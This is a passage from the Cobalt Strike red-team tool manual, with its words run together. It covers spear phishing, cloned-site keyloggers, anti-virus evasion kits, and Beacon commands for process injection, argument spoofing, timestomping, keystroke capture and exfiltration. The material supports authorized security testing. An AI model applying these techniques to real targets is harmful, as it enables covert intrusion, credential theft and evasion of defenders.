InitialAccess/SpearPhishing Itspossibletoembedanattackintoaclonedsite.WritetheURLofyourattackintheEmbed fieldandCobaltStrikewilladdittotheclonedsitewithanIFRAME.Clickthe... buttontoselect oneoftherunningclient-sideexploits. Clonedwebsitescanalsocapturekeystrokes.ChecktheLog keystrokes on cloned sitebox. ThiswillinsertaJavaScriptkeyloggerintotheclonedsite. Toviewloggedkeystrokesorseevisitorstoyourclonedsite,gotoView -> Web Log. CheckEnable SSLtoservethiscontentoverSSL.Thisoptionisavailablewhenyouspecifya validSSLcertificateinyourMalleableC2profile.MakesuretheHostfieldmatchestheCNfield ofyourSSLcertificate.Thiswillavoidasituationwherethisfeaturefailsbecauseofamismatch betweenthesefields. Spear Phishing Nowthatyouhaveanunderstandingofclient-sideattacks,letstalkabouthowtogettheattack totheuser.Themostcommonwayintoanorganizationsnetworkisthroughspearphishing. CobaltStrike'sspearphishingtoolallowsyoutosendpixelperfectspearphishingmessages usinganarbitrarymessageasatemplate. Targets Beforeyousendaphishingmessage,youshouldassemblealistoftargets.CobaltStrike expectstargetsinatextfile.Eachlineofthefilecontainsonetarget.Thetargetmaybeanemail address.Youmayalsouseanemailaddress,atab,andaname.Ifprovided,anamehelps CobaltStrikecustomizeeachphish. Templates Next,youneedaphishingtemplate.Thenicethingabouttemplatesisthatyoumayreusethem betweenengagements.CobaltStrikeusessavedemailmessagesasitstemplates.Cobalt Strikewillstripattachments,dealwithencodingissues,andrewriteeachtemplateforeach phishingattack. Ifyoudliketocreateacustomtemplate,composeamessageandsendittoyourself.Most emailclientshaveawaytogettheoriginalmessagesource.InGmail,clickthedownarrownext toReply andselectShow original.Savethismessagetoafileandthencongratulateyourself— youvemadeyourfirstCobaltStrikephishingtemplate. YoumaywanttocustomizeyourtemplatewithCobaltStrikestokens.CobaltStrikereplaces thefollowingtokensinyourtemplates: CobaltStrikeUserGuide www.fortra.com page:85

InitialAccess/SpearPhishing Token Description %To% Theemailaddressofthepersonthemessageissentto %To_Name% Thenameofthepersonthemessageissentto. %URL% ThecontentsoftheEmbedURLfieldinthespearphishingdialog. Sending Messages Nowthatyouhaveyourtargetsandatemplate,yourereadytogophishing.Tostartthespear phishingtool,gotoAttacks ->Spear Phish. figure50-SpearPhishingTool Tosendaphishingmessage,youmustfirstimportyourlistofTargets.Youmayimportaflat text-filecontainingoneemailaddressperline.Importafilecontainingoneemailaddressand nameseparatedbyataborcommaforstrongermessagecustomization.Clickthefoldernext totheTargetsfieldtoimportyourtargetsfile. SetTemplatetoanemailmessagetemplate.ACobaltStrikemessagetemplateissimplya savedemailmessage.CobaltStrikewillstripunnecessaryheaders,removeattachments, rewriteURLs,re-encodethemessage,andrewriteitforyou.Clickonthefoldernexttothe Templatefieldtochooseone. CobaltStrikeUserGuide www.fortra.com page:86

InitialAccess/SpearPhishing YouhavetheoptiontoaddanAttachment.Thisisagreattimetouseoneofthesocial engineeringpackagesdiscussedearlier.CobaltStrikewilladdyourattachmenttotheoutgoing phishingmessage. CobaltStrikedoesnotgiveyouameanstocomposeamessage.Useanemailclient,writea message,andsendittoyourself.Mostwebmailclientsincludeameanstoseetheoriginal messagesource.InGMail,clickthedownarrownexttoReplyandselectShoworiginal. YoumayalsoaskCobaltStriketorewriteallURLsinthetemplatewithaURLofyourchoosing. SetEmbed URLtohaveCobaltStrikerewriteeachURLinthemessagetemplatetopointtothe embeddedURL.URLsaddedinthiswaywillcontainatokenthatallowsCobaltStriketotrace anyvisitorbacktothisparticularspearphishingattack.CobaltStrike'sreportingandweblog featurestakeadvantageofthistoken.Press...tochooseoneoftheCobaltStrikehostedsites you'vestarted. WhenyouembedaURL,CobaltStrikewillattach?id=%TOKEN%toit.Eachsentmessagewill getitsowntoken.CobaltStrikeusesthistokentomapwebsitevisitorstosentemails.Ifyou careaboutreporting,besuretokeepthisvalueinplace. SetMail Servertoanopenrelayorthemailexchangerecordforyourtarget.Ifnecessary,you mayalsoauthenticatetoamailservertosendyourphishingmessages. Press… nexttotheMailServerfieldtoconfigureadditionalserveroptions.Youmayspecifya usernameandpasswordtoauthenticatewith.TheRandomDelayoptiontellsCobaltStriketo randomlydelayeachmessagebyarandomtime,uptothenumberofsecondsyouspecify.If thisoptionisnotset,CobaltStrikewillnotdelayitsmessages. figure51-ConfigureMailServer SetBounce Totoanemailaddresswherebouncedmessagesshouldgo.Thisvaluewillnot affectthemessageyourtargetssee.PressPreview toseeanassembledmessagetooneof yourrecipients.Ifthepreviewlooksgood,pressSend todeliveryourattack. CobaltStrikeUserGuide www.fortra.com page:87

InitialAccess/SpearPhishing CobaltStrikesendsphishingmessagesthroughtheteamserver. CobaltStrikeUserGuide www.fortra.com page:88

PayloadArtifactsandAnti-virusEvasion/TheArtifactKit Payload Artifacts and Anti-virus Evasion Fortraregularlyfieldsquestionsaboutevasion.DoesCobaltStrikebypassanti-virusproducts? Whichanti-virusproductsdoesitbypass?Howoftenisthischecked? TheCobaltStrikedefaultartifactswilllikelybesnaggedbymostendpointsecuritysolutions. AlthoughevasionisnotagoalofthedefaultCobaltStrikeproduct,CobaltStrikedoesoffer someflexibility. You,theoperator,maychangetheexecutables,DLLs,applets,andscripttemplatesCobalt Strikeusesinitsworkflows.YoumayalsoexportCobaltStrikesBeaconpayloadinavarietyof formatsthatworkwiththird-partytoolsdesignedtoassistwithevasion. ThischapterhighlightstheCobaltStrikefeaturesthatprovidethisflexibility. The Artifact Kit CobaltStrikeusestheArtifactKittogenerateitsexecutablesandDLLs.TheArtifactKitispartof theArsenalKit,whichcontainsacollectionofkits—asourcecodeframeworktobuild executablesandDLLsthatevadesomeanti-virusproducts. The Theory of the Artifact Kit Traditionalanti-virusproductsusesignaturestoidentifyknownbad.Ifweembedourknown badshellcodeintoanexecutable,ananti-virusproductwillrecognizetheshellcodeandflagthe executableasmalicious. Todefeatthisdetection,itscommonforanattackertoobfuscatetheshellcodeinsomeway andplaceitinthebinary.Thisobfuscationprocessdefeatsanti-virusproductsthatuseasimple stringsearchtoidentifymaliciouscode. Manyanti-virusproductsgoastepfurther.Theseanti-virusproductssimulateexecutionofan executableinavirtualsandbox.Witheachemulatedstepofexecution,theanti-virusproduct checksforknownbadintheemulatedprocessspace.Ifknownbadshowsup,theanti-virus productflagstheexecutableorDLLasmalicious.Thistechniquedefeatsmanyencodersand packersthattrytohideknownbadfromsignature-basedanti-virusproducts. CobaltStrikescountertothisissimple.Theanti-virussandboxhaslimitations.Itisnota completevirtualmachine.Therearesystembehaviorstheanti-virussandboxdoesnotemulate. CobaltStrikeUserGuide www.fortra.com page:89

PayloadArtifactsandAnti-virusEvasion/TheArtifactKit TheArtifactKitisacollectionofexecutableandDLLtemplatesthatrelyonsomebehaviorthat anti-virusproductsdonotemulatetorecovershellcodelocatedinsideofthebinary. Oneofthetechniques[see:src-common/bypass-pipe.cintheArtifactKit]generates executablesandDLLsthatserveshellcodetothemselvesoveranamedpipe.Ifananti-virus sandboxdoesnotemulatenamedpipes,itwillnotfindtheknownbadshellcode. Where Artifact Kit Fails Ofcourseitspossibleforanti-virusproductstodefeatspecificimplementationsoftheArtifact Kit.Ifananti-virusvendorwritessignaturesfortheArtifactKittechniqueyouuse,thenthe executablesandDLLsitcreateswillgetcaught.Thisstartedtohappen,overtime,withthe defaultbypasstechniqueinCobaltStrike2.5andbelow.Ifyouwanttogetthemostfromthe ArtifactKit,youwilluseoneofitstechniquesasabasetobuildyourownArtifactKit implementation. Eventhatisntenoughthough.Someanti-virusproductscallhometotheanti-virusvendors servers.TherethevendormakesadeterminationiftheexecutableorDLLisknowngoodoran unknown,neverbeforeseen,executableorDLL.Someoftheseproductsautomaticallysend unknownexecutablesandDLLstothevendorforfurtheranalysisandwarntheusers.Others treatunknownexecutablesandDLLsasmalicious.Itdependsontheproductanditssettings. Thepoint:noamountof“obfuscation”isgoingtohelpyouinthissituation.Youreupagainsta differentkindofdefenseandwillneedtoworkarounditaccordingly.Treatthesesituationsthe samewayyouwouldtreatapplicationwhitelisting.Trytofindaknowngoodprogram(e.g., powershell)thatwillgetyourpayloadstagerintomemory. How to use the Artifact Kit GotoHelp ->Arsenal fromalicensedCobaltStriketodownloadtheArsenalKit.Youcanalso accesstheArsenaldirectlyat:https://www.cobaltstrike.com/scripts FortradistributestheArsenalKitasa.tgzfile.Usethetarcommandtoextractit.TheArsenalKit includestheArtifactkit,whichcanbebuiltwithotherkitsorasastandalonekit.SeetheArsenal KitREADME.mdfileforinformationonbuildingthekits. YoureencouragedtomodifytheArtifactKitanditstechniquestomakeitmeetyourneeds. WhileskilledCprogrammerscandomorewiththeArtifactKit,itsquitefeasibleforan adventurousnon-programmertoworkwiththeArtifactKittoo.Forexample,amajoranti-virus productlikestowritesignaturesfortheexecutablesinCobaltStrikestrialeachtimethereisa release.UpuntilCobaltStrike2.5,thetrialandlicensedversionsofCobaltStrikeusedthenamed pipetechniqueinitsexecutablesandDLLs.Thisvendorwouldwriteasignatureforthenamed CobaltStrikeUserGuide www.fortra.com page:90

PayloadArtifactsandAnti-virusEvasion/TheVeilEvasionFramework pipestringtheexecutableused.Defeatingtheirsignatures,releaseafterrelease,wasassimple aschangingthenameofthepipeinthepipetechniquessourcecode. The Veil Evasion Framework Veilisapopularframeworktogenerateexecutablesthatgetpastsomeanti-virusproducts.You mayuseVeiltogenerateexecutablesforCobaltStrikespayloads. Steps

  1. GotoPayloads -> Stager Payload Generator.
  2. Choosethelisteneryouwanttogenerateanexecutablefor.
  3. SelectVeilastheOutputtype.
  4. PressGenerateandsavethefile.
  5. LaunchtheVeil Evasion Frameworkandchoosethetechniqueyouwanttouse.
  6. Veilwilleventuallyaskaboutshellcode.SelectVeilsoptiontosupplycustom shellcode.
  7. PasteinthecontentsofthefileCobaltStrikespayloadgeneratormade.
  8. PressenterandyouwillhaveafreshVeil-madeexecutable. figure 52 - UsingVeiltoGenerateanExecutable Java Applet Attacks FortradistributesthesourcecodetoCobaltStrikesAppletAttacksastheAppletKit.Thisisalso availablewithintheCobaltStrikearsenal.GotoHelp ->Arsenal anddownloadtheAppletKit. Usetheincludedbuild.shscripttobuildtheAppletKitonKaliLinux.ManyCobaltStrike customersusethisflexibilitytosignCobaltStrikesJavaAppletattackswithacode-signing certificatethattheypurchased.Thisishighlyrecommended. CobaltStrikeUserGuide www.fortra.com page:91

PayloadArtifactsandAnti-virusEvasion/TheResourceKit TomakeCobaltStrikeuseyourAppletKitoverthebuilt-inone,loadtheapplet.cnascript includedwiththeAppletKit. OntheCobaltStrikeArsenalPageyouwillalsonoticethePower Applet.Thisisanalternate implementationofCobaltStrikesJavaAppletattacksthatusesPowerShelltogetapayload intomemory.ThePowerAppletdemonstratestheflexibilityyouhavetorecreateCobaltStrikes standardattacksinacompletelydifferentwayandstillusethemwithCobaltStrikesworkflows. TomakeCobaltStrikeuseyourAppletKitoverthebuilt-inone,loadtheapplet.cnascript includedwiththeAppletKit. The Resource Kit TheResourceKitisCobaltStrikesmeanstochangetheHTA,PowerShell,Python,VBA,andVBS scripttemplatesCobaltStrikeusesinitsworkflows.TheResourceKitispartoftheArsenalKit, whichcontainsacollectionofkitsandisavailabletolicensedusersintheCobaltStrikearsenal. GotoHelp ->Arsenal todownloadtheArsenalKit. TheREADME.mdsuppliedwiththeResourceKitdocumentstheincludedscriptsandwhich featuresusethem.Toevadeaproduct,considerchangingstringsorbehaviorsinthesescripts. TomakeCobaltStrikeuseyourscripttemplatesoverthebuilt-inscripttemplates,loadeither thedist/arsenal_kit.cnaordist/resource/resources.cnascript.SeetheArsenalKitREADME.md fileformoreinformation. The Sleep Mask Kit TheSleepMaskKitisthesourcecodeforthesleepmaskfunctionthatisexecutedtoobfuscate Beacon,inmemory,priortosleeping.Thisobfuscationtechniquemaybeusedtoidentify Beacon.Todefeatthisdetection,CobaltStrikeprovidsanaggressorscriptthatallowstheuser tomodifyhowthesleepmaskfunctionlooksinmemory.Withthe4.5releasealistofheap recordstomaskandunmaskisincluded.GotoHelp -> ArsenaltodownloadtheArsenalKit whichincludestheSleepMaskKit.Yourlicensekeyisrequired. FormoreinformationontheSleepMaskKitseethearsenal-kit/README.mdandarsenal- kit/kits/sleepmask/README.mdfiles. CobaltStrikeUserGuide www.fortra.com page:92

PostExploitation/BeaconCovertC2Payload Post Exploitation Beacon Covert C2 Payload BeaconisCobaltStrikespayloadtomodeladvancedattackers.UseBeacontoegressanetwork overHTTP,HTTPS,orDNS.Youmayalsolimitwhichhostsegressanetworkbycontrolling peer-to-peerBeaconsoverWindowsnamedpipes. Beaconisflexibleandsupportsasynchronousandinteractivecommunication.Asynchronous communicationislowandslow.Beaconwillphonehome,downloaditstasks,andgotosleep. Interactivecommunicationhappensinreal-time. Beacon'snetworkindicatorsaremalleable.RedefineBeacon'scommunicationwithCobalt Strike'smalleableC2language.ThisallowsyoutocloakBeaconactivitytolooklikeother malwareorblend-inaslegitimatetraffic. The Beacon Console Right-clickonaBeaconsessionandselectinteracttoopenthatBeaconsconsole.Theconsole isthemainuserinterfaceforyourBeaconsession.TheBeaconconsoleallowsyoutoseewhich taskswereissuedtoaBeaconandtoseewhenitdownloadsthem.TheBeaconconsoleisalso wherecommandoutputandotherinformationwillappear. figure53-CobaltStrikeBeaconConsole InbetweentheBeaconconsolesinputandoutputisastatusbar.Thisstatusbarcontains informationaboutthecurrentsession.Initsdefaultconfiguration,thestatusbarshowsthe targetsNetBIOSname,theusernameandPIDofthecurrentsession,andtheBeaconslast check-intime. CobaltStrikeUserGuide www.fortra.com page:93

PostExploitation/TheBeaconMenu EachcommandthatsissuedtoaBeacon,whetherthroughtheGUIortheconsole,willshowup inthiswindow.Ifateammateissuesacommand,CobaltStrikewillpre-fixthecommandwith theirhandle. YouwilllikelyspendmostofyourtimewithCobaltStrikeintheBeaconconsole.Itsworthyour timetobecomefamiliarwithitscommands.Typehelp intheBeaconconsoletoseeavailable commands.Typehelp followedbyacommandnametogetdetailedhelp. The Beacon Menu Right-clickonaBeaconorinsideofaBeaconsconsoletoaccesstheBeaconmenu.Thisisthe samemenuusedtoopentheBeaconconsole.Thefollowingitemsareavailable: TheAccessmenucontainsoptionstomanipulatetrustmaterialandelevateyouraccess. TheExploremenuconsistsofoptionstoextractinformationandinteractwiththetargets system. ThePivotingmenuiswhereyoucansetuptoolstotunneltrafficthroughaBeacon. TheSessionmenuiswhereyoumanagethecurrentBeaconsession. figure54-CobaltStrikeBeaconMenu SomeofCobaltStrikesvisualizations(thepivotgraphandsessionstable)letyouselectmultiple Beaconsatonetime.Mostactionsthathappenthroughthismenuwillapplytoallselected Beaconsessions. Asynchronous and Interactive Operations CobaltStrikeUserGuide www.fortra.com page:94

PostExploitation/RunningCommands BeawarethatBeaconisanasynchronouspayload.Commandsdonotexecuterightaway.Each commandgoesintoaqueue.WhentheBeaconchecksin(connectstoyou),itwilldownload thesecommandsandexecutethemonebyone.Atthistime,Beaconwillalsoreportanyoutput ithasforyou.Ifyoumakeamistake,usetheclear commandtoclearthecommandqueuefor thecurrentBeacon. Bydefault,Beaconscheckineverysixtyseconds.YoumaychangethiswithBeaconssleep command.UsesleepfollowedbyatimeinsecondstospecifyhowoftenBeaconshouldcheck in.Youmayalsospecifyasecondnumberbetween0and99.Thisnumberisajitterfactor. Beaconwillvaryeachofitscheckintimesbytherandompercentageyouspecifyasajitter factor.Forexample,sleep 300 20,willforceBeacontosleepfor300secondswitha20%jitter percentage.Thismeans,Beaconwillsleepforarandomvaluebetween240sto300saftereach check-in. TomakeaBeaconcheckinmultipletimeseachsecond,trysleep 0.Thisisinteractivemode.In thismodecommandswillexecuterightaway.YoumustmakeyourBeaconinteractivebefore youtunneltrafficthroughit.AfewBeaconcommands(e.g.,browserpivot,desktop,etc.)will automaticallyputBeaconintointeractivemodeatthenextcheckin. Running Commands Beaconsshell commandwilltaskaBeacontoexecuteacommandviacmd.exeonthe compromisedhost.Whenthecommandcompletes,Beaconwillpresenttheoutputtoyou. Usetherun commandtoexecuteacommandwithoutcmd.exe.Theruncommandwillpost outputtoyou.Theexecute commandrunsaprograminthebackgroundanddoesnotcapture output. Usethepowershell commandtoexecuteacommandwithPowerShellonthecompromised host.Usethepowerpick commandtoexecutePowerShellcmdletswithoutpowershell.exe. ThiscommandreliesontheUnmanagedPowerShelltechniquedevelopedbyLeeChristensen. Thepowershellandpowerpickcommandswilluseyourcurrenttoken. Thepsinject commandwillinjectUnmanagedPowerShellintoaspecificprocessandrunyour cmdletfromthatlocation. Thepowershell-import commandwillimportaPowerShellscriptintoBeacon.Futureusesof thepowershell,powerpick,andpsinjectcommandswillhavecmdletsfromtheimportedscript availabletothem.BeaconwillonlyholdonePowerShellscriptatatime.Importanemptyfileto cleartheimportedscriptfromBeacon. Theexecute-assembly commandwillrunalocal.NETexecutableasaBeaconpost- exploitationjob.YoumaypassargumentstothisassemblyasifitwererunfromaWindows command-lineinterface.Thiscommandwillalsoinherityourcurrenttoken. CobaltStrikeUserGuide www.fortra.com page:95

PostExploitation/SessionPassing IfyouwantBeacontoexecutecommandsfromaspecificdirectory,usethecd commandinthe BeaconconsoletoswitchtheworkingdirectoryoftheBeaconsprocess.Thepwd command willtellyouwhichdirectoryyourecurrentlyworkingfrom. Thesetenv commandwillsetanenvironmentvariable. BeaconcanexecuteBeaconObjectFileswithoutcreatinganewprocess.BeaconObjectFiles arecompiledCprograms,writtentoaspecificconvention,thatrunwithinaBeaconsession. Useinline-execute [args] toexecuteaBeaconObjectFilewiththespecifiedarguments.See Beacon Object Files on page 171formoreinformation. Session Passing CobaltStrikesBeaconstartedoutasastablelifelinetokeepaccesstoacompromisedhost. Fromdayone,BeaconsprimarypurposewastopassaccessestootherCobaltStrikelisteners. Usethespawn commandtospawnasessionforalistener.Thespawncommandacceptsan architecture(e.g.,x86,x64)andalistenerasitsarguments. Bydefault,thespawn commandwillspawnasessioninrundll32.exe.Analertadministrator mayfinditstrangethatrundll32.exeisperiodicallymakingconnectionstotheinternet.Finda betterprogram(e.g.,InternetExplorer)andusethespawnto commandtostatewhichprogram Beaconshouldspawnforitssessions. Thespawnto commandrequiresyoutospecifyanarchitecture(x86orx64)andafullpathtoa programtospawn,asneeded.Typespawnto byitselfandpressentertoinstructBeacontogo backtoitsdefaultbehavior. Typeinject followedbyaprocessidandalistenernametoinjectasessionintoaspecific process.Useps togetalistofprocessesonthecurrentsystem.Useinject [pid] x64 toinjecta 64-bitBeaconintoanx64process. Thespawnandinjectcommandsbothinjectapayloadstageintomemory.Ifthepayloadstage isanHTTP,HTTPS,orDNSBeaconanditcantreachyou—youwillnotseeasession.Ifthe payloadstageisabindTCPorSMBBeacon,thesecommandswillautomaticallytrytolinkto andassumecontrolofthesepayloads. Usedllinject [pid] toinjectaReflectiveDLLintoaprocess. Usetheshinject [pid] [architecture] [/path/to/file.bin] commandtoinjectshellcode,froma localfile,intoaprocessontarget.Useshspawn [architecture] [/path/to/file.bin] tospawnthe “spawnto”processandinjectthespecifiedshellcodefileintothatprocess. Usedllload [pid] [c:\path\to\file.dll] toloadanon-diskDLLinanotherprocess. CobaltStrikeUserGuide www.fortra.com page:96

PostExploitation/AlternateParentProcesses Alternate Parent Processes Useppid [pid] toassignanalternateparentprocessforprogramsrunbyyourBeaconsession. Thisisameanstomakeyouractivityblendinwithnormalactionsonthetarget.Thecurrent Beaconsessionmusthaverightstothealternateparentanditsbestifthealternateparent processexistsinthesamedesktopsessionasyourBeacon.Typeppid,withnoarguments,to haveBeaconlaunchprocesseswithnospoofedparent. Therunu commandwillexecuteacommandwithanotherprocessastheparent.This commandwillrunwiththerightsanddesktopsessionofitsalternateparentprocess.The currentBeaconsessionmusthavefullrightstothealternateparent.Thespawnu commandwill spawnatemporaryprocess,asachildofaspecifiedprocess,andinjectaBeaconpayload stageintoit. Thespawntovaluecontrolswhichprogramisusedasatemporaryprocess. Spoof Process Arguments EachBeaconhasaninternallistofcommandsitshouldspoofargumentsfor.WhenBeacon runsacommandthatmatchesalist,Beacon:

  1. Startsthematchedprocessinasuspendedstate(withthefakearguments)
  2. Updatestheprocessmemorywiththerealarguments
  3. Resumestheprocess Theeffectisthathostinstrumentationrecordingaprocesslaunchwillseethefakearguments. Thishelpsmaskyourrealactivity. Useargue [command] [fake arguments] toaddacommandtothisinternallist.The [command]portionmaycontainanenvironmentvariable.Useargue [command] toremovea commandfromthisinternallist.argue,byitself,liststhecommandsinthisinternallist. Theprocessmatchlogicisexact.IfBeacontriestolaunch“net.exe”,itwillnotmatchnet, NET.EXE,orc:\windows\system32\net.exefromitsinternallist.Itwillonlymatchnet.exe. x86Beaconcanonlyspoofargumentsinx86childprocesses.Likewise,x64Beaconcanonly spoofargumentsinx64childprocesses. Therealargumentsarewrittentothememoryspacethatholdsthefakearguments.Ifthereal argumentsarelongerthanthefakearguments,thecommandlaunchwillfail. Blocking DLLs in Child Processes CobaltStrikeUserGuide www.fortra.com page:97

PostExploitation/UploadandDownloadFiles Useblockdlls start toaskBeacontolaunchchildprocesseswithabinarysignaturepolicythat blocksnon-MicrosoftDLLsfromtheprocessspace.Useblockdlls stop todisablethisbehavior. ThisfeaturerequiresWindows10. Upload and Download Files download-Thiscommanddownloadstherequestedfile.Youdonotneedtoprovidequotes aroundafilenamewithspacesinit.Beaconisbuiltforlowandslowexfiltrationofdata. Duringeachcheck-in,Beaconwilldownloadafixedchunkofeachfileitstaskedtoget. ThesizeofthischunkdependsonBeaconscurrentdatachannel.TheHTTPandHTTPS channelspulldatain512KBchunks. downloads-UsetoseealistoffiledownloadsinprogressforthecurrentBeacon. cancel-Issuethiscommand,followedbyafilename,tocanceladownloadthatsinprogress. Youmayusewildcardswithyourcancelcommandtocancelmultiplefiledownloadsat once. upload-Thiscommanduploadsafiletothehost. timestomp-Whenyouuploadafile,youwillsometimeswanttoupdateitstimestampsto makeitblendinwithotherfilesinthesamefolder.Thiscommandwilldothis.The timestompcommandmatchestheModified,Accessed,andCreatedtimesofonefileto anotherfile. GotoView->DownloadsinCobaltStriketoseethefilesthatyourteamhasdownloadedsofar. Onlycompleteddownloadsshowupinthistab. Downloadedfilesarestoredontheteamserver.Tobringfilesbacktoyoursystem,highlight themhere,andpressSync Files.CobaltStrikethendownloadstheselectedfilestoafolderof yourchoosingonyoursystem. File Browser BeaconsFileBrowserisanopportunitytoexplorethefilesonacompromisedsystem.Goto [Beacon] ->Explore ->File Browser toopenit. Youcanalsoissuethecommand,file_browser,toopenthefilebrowsertabstartinginthe currentdirectory. ThefilebrowserwillrequestalistingforthecurrentworkingdirectoryofBeacon.Whenthis resultarrives,thefilebrowserwillpopulate. CobaltStrikeUserGuide www.fortra.com page:98

PostExploitation/TheWindowsRegistry Theleft-handsideofthefilebrowserisatreewhichorganizestheknowndrivesandfoldersinto oneview.Theright-handsideofthefilebrowsershowsthecontentsofthecurrentfolder. figure55-FileBrowser Eachfilebrowsercachesthefolderlistingsitreceives.Acoloredfolderindicatesthefolders contentsareinthisfilebrowserscache.Youmaynavigatetocachedfolderswithoutgenerating anewfilelistingrequest.PressRefresh toaskBeacontoupdatethecontentsofthecurrent folder. Adark-greyfoldermeansthefolderscontentsarenotinthisfilebrowserscache.Clickona folderinthetreetohaveBeacongenerateatasktolistthecontentsofthisfolder(andupdateits cache).Double-clickonadark-greyfolderintheright-handsidecurrentfolderviewtodothe same. Togoupafolder,pressthefolderbuttonnexttothefilepathabovetheright-handsidefolder detailsview.Iftheparentfolderisinthisfilebrowserscache,youwillseetheresults immediately.Iftheparentfolderisnotinthefilebrowserscache,thebrowserwillgeneratea tasktolistthecontentsoftheparentfolder. Right-clickafiletodownloadordeleteit. Toseewhichdrivesareavailable,pressList Drives. File System Commands YoumayprefertobrowseandmanipulatethefilesystemfromtheBeaconconsole. Usethels commandtolistfilesinthecurrentdirectory.Usemkdir tomakeadirectory.rm will removeafileorfolder.cp copiesafiletoadestination.mv movesafile. The Windows Registry CobaltStrikeUserGuide www.fortra.com page:99

PostExploitation/KeystrokesandScreenshots Usereg_query [x86|x64] [HIVE\path\to\key] toqueryaspecifickeyintheregistry.This commandwillprintthevalueswithinthatkeyandalistofanysubkeys.Thex86/x64optionis requiredandforcesBeacontousetheWOW64(x86)ornativeviewoftheregistry.reg_query [x86|x64] [HIVE\path\to\key] [value] willqueryaspecificvaluewithinaregistrykey. Keystrokes and Screenshots Beaconstoolstologkeystrokesandtakescreenshotsaredesignedtoinjectintoanother processandreporttheirresultstoyourBeacon. Tostartthekeystrokelogger,usekeylogger pid x86 toinjectintoanx86process.Use keylogger pid x64 toinjectintoanx64process.Usekeylogger byitselftoinjectthekeystroke loggerintoatemporaryprocess.Thekeystrokeloggerwillmonitorkeystrokesfromtheinjected processandreportthemtoBeaconuntiltheprocessterminatesoryoukillthekeystrokelogger post-exploitationjob. Beawarethatmultiplekeystrokeloggersmayconflictwitheachother.Useonlyonekeystroke loggerperdesktopsession. Totakeascreenshot,usescreenshot pid x86 toinjectthescreenshottoolintoanx86process. Usescreenshot pid x64 toinjectintoanx64process.Thisvariantofthescreenshotcommand willtakeonescreenshotandexit.screenshot,byitself,willinjectthescreenshottoolintoa temporaryprocess. Thescreenwatch command(withoptionstouseatemporaryprocessorinjectintoanexplicit process)willcontinuouslytakescreenshotsuntilyoustopthescreenwatchpost-exploitation job. Usetheprintscreen command(alsowithtemporaryprocessandinjectoptions)totakea screenshotbyadifferentmethod.ThiscommandusesaPrintScrkeypresstoplacethe screenshotontotheuser'sclipboard.Thisfeaturerecoversthescreenshotfromtheclipboard andreportsitbacktoyou. WhenBeaconreceivesnewscreenshotsorkeystrokes,itwillpostamessagetotheBeacon console.ThescreenshotandkeystrokeinformationisnotavailablethroughtheBeaconconsole though.GotoView ->Keystrokes toseeloggedkeystrokesacrossallofyourBeaconsessions. GotoView ->Screenshots tobrowsethroughscreenshotsfromallofyourBeaconsessions. Bothofthesedialogsupdateasnewinformationcomesin.Thesedialogsmakeiteasyforone operatortomonitorkeystrokesandscreenshotsonallofyourBeaconsessions. Controlling Beacon Jobs CobaltStrikeUserGuide www.fortra.com page:100

PostExploitation/TheProcessBrowser SeveralBeaconfeaturesrunasjobsinanotherprocess(e.g.,thekeystrokeloggerand screenshottool).Thesejobsruninthebackgroundandreporttheiroutputwhenitsavailable. Usethejobs commandtoseewhichjobsarerunninginyourBeacon.Usejobkill [job number] tokillajob. The Process Browser TheProcessBrowserdoestheobvious;ittasksaBeacontoshowalistofprocessesandshows thisinformationtoyou.Goto[beacon] -> Explore -> Show ProcessestoopentheProcess Browser. Youcanalsoissuethecommand,process_browser,toopentheprocessbrowsertabstarting inthecurrentdirectory. figure56-ProcessBrowser Theleft-handsideshowstheprocessesorganizedintoatree.Thecurrentprocessforyour Beaconishighlightedyellow. Theright-handsideshowstheprocessdetails.TheProcessBrowserisalsoaconvenientplace toimpersonateatokenfromanotherprocess,deploythescreenshottool,ordeploythe keystrokelogger. Highlightoneormoreprocessesandpresstheappropriatebuttonatthebottomofthetab. IfyouhighlightmultipleBeaconsandtaskthemtoshowprocesses,CobaltStrikewillshowa ProcessBrowserthatalsostateswhichhosttheprocesscomesfrom.Thisvariantofthe ProcessBrowserisaconvenientwaytodeployBeaconspost-exploitationtoolstomultiple systemsatonce. CobaltStrikeUserGuide www.fortra.com page:101

PostExploitation/DesktopControl Simplysortbyprocessname,highlighttheinterestingprocessesonyourtargetsystems,and presstheScreenshotorLog Keystrokesbuttontodeploythesetoolstoallhighlighted systems. Desktop Control Tointeractwithadesktoponatargethost,goto[beacon] -> Explore -> Desktop (VNC).This willstageaVNCserverintothememoryofthecurrentprocessandtunneltheconnection throughBeacon. WhentheVNCserverisready,CobaltStrikewillopenatablabeledDesktop HOST@PID. YoumayalsouseBeaconsdesktop commandtoinjectaVNCserverintoaspecificprocess. Usedesktop pid architecture low|high.Thelastparameterletsyouspecifyaqualityforthe VNCsession. figure57-CobaltStrikeDesktopViewer Thebottomofthedesktoptabhasseveralbuttons.Theseare: Refreshthescreen Viewonly DecreaseZoom IncreaseZoom CobaltStrikeUserGuide www.fortra.com page:102

PostExploitation/PrivilegeEscalation Zoomto100% AdjustZoomtoFit Tab SendCtrl+Escape LocktheCtrlkey LocktheAltkey IfyoucanttypeinaDesktoptab,checkthestateoftheCtrl andAlt buttons.Wheneitherbutton ispressed,allofyourkeystrokesaresentwiththeCtrlorAltmodifier.PresstheCtrl orAlt buttontoturnoffthisbehavior.MakesureView only isntpressedeither.Topreventyoufrom accidentallymovingthemouse, View only ispressedbydefault. Privilege Escalation Somepost-exploitationcommandsrequiresystemadministrator-levelrights.Beaconincludes severaloptionstohelpyouelevateyouraccessincludingthefollowing: NOTE: Typehelp intheBeaconconsoletoseeavailablecommands.Typehelp followedbya commandnametoseedetailedhelp. Elevate with an Exploit elevate-ThiscommandlistsprivilegeescalationexploitsregisteredwithCobaltStrike. elevate [exploit] [listener]-Thiscommandattemptstoelevatewithaspecificexploit. CobaltStrikeUserGuide www.fortra.com page:103

